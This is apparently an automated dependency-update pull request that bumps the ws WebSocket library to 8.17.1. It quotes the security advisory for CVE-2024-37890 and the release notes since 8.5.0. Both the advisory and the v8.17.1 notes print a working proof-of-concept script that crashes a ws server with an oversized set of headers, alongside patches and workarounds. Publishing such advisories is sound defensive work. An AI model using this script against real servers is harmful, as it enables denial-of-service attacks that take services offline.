chore(deps): update dependency ws to v8.17.1 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ws	8.5.0 -> 8.17.1

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231

---

Release Notes

websockets/ws (ws)

v8.17.1

Compare Source

Bug fixes

• Fixed a DoS vulnerability (#​2231).

A request with a number of headers exceeding the[server.maxHeadersCount][server.maxHeadersCount]
threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the
   [--max-http-header-size=size][--max-http-header-size=size] and/or the [maxHeaderSize][maxHeaderSize] options so
   that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

v8.17.0

Compare Source

Features

• The WebSocket constructor now accepts the createConnection option (#​2219).

Other notable changes

• The default value of the allowSynchronousEvents option has been changed to
  true (#​2221).

This is a breaking change in a patch release. The assumption is that the option
is not widely used.

v8.16.0

Compare Source

Features

• Added the autoPong option (01ba54e).

v8.15.1

Compare Source

Notable changes

• The allowMultipleEventsPerMicrotask option has been renamed to
  allowSynchronousEvents (4ed7fe5).

This is a breaking change in a patch release that could have been avoided with
an alias, but the renamed option was added only 3 days ago, so hopefully it
hasn't already been widely used.

v8.15.0

Compare Source

Features

• Added the allowMultipleEventsPerMicrotask option (93e3552).

v8.14.2

Compare Source

Bug fixes

• Fixed an issue that allowed errors thrown by failed assertions to be
  swallowed when running tests (7f4e1a7).

v8.14.1

Compare Source

Bug fixes

• Improved the reliability of two tests for CITGM (fd3c64c).

v8.14.0

Compare Source

Features

• The WebSocket constructor now accepts HTTP(S) URLs (#​2162).
• The socket argument of server.handleUpgrade() can now be a generic
  Duplex stream (#​2165).

Other notable changes

• At most one event per microtask is now emitted (#​2160).

v8.13.0

Compare Source

Features

• Added the finishRequest option to support late addition of headers (#​2123).

v8.12.1

Compare Source

Bug fixes

• Added browser condition to package.json (#​2118).

v8.12.0

Compare Source

Features

• Added support for utf-8-validate@6 (ff63bba).

Other notable changes

• [buffer.isUtf8()][buffer.isUtf8()] is now used instead of utf-8-validate if available
  (42d79f6).

v8.11.0

Compare Source

Features

• WebSocket.prototype.addEventListener() now supports an event listener
  specified as an object with a handleEvent() method. (9ab743a).

Bug fixes

• WebSocket.prototype.addEventListener() now adds an event listener only if it
  is not already in the list of the event listeners for the specified event type
  (1cec17d).

v8.10.0

Compare Source

Features

• Added an export for package.json (211d5d3).

v8.9.0

Compare Source

Features

• Added the ability to connect to Windows named pipes (#​2079).

v8.8.1

Compare Source

Bug fixes

• The Authorization and Cookie headers are no longer sent if the original
  request for the opening handshake is sent to an IPC server and the client is
  redirected to another IPC server (bc8bd34).

v8.8.0

Compare Source

Features

• Added the WS_NO_BUFFER_UTIL and WS_NO_UTF_8_VALIDATE environment
  variables (becf237).

v8.7.0

Compare Source

Features

• Added the ability to inspect the invalid handshake requests and respond to
  them with a custom HTTP response. (6e5a5ce).

Bug fixes

• The handshake is now aborted if the Upgrade header field value in the HTTP
  response is not a case-insensitive match for the value "websocket" (0fdcc0a).
• The Authorization and Cookie headers are no longer sent when following an
  insecure redirect (wss: to ws:) to the same host (d68ba9e).

v8.6.0

Compare Source

Features

• Added the ability to remove confidential headers on a per-redirect basis (#​2030).

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.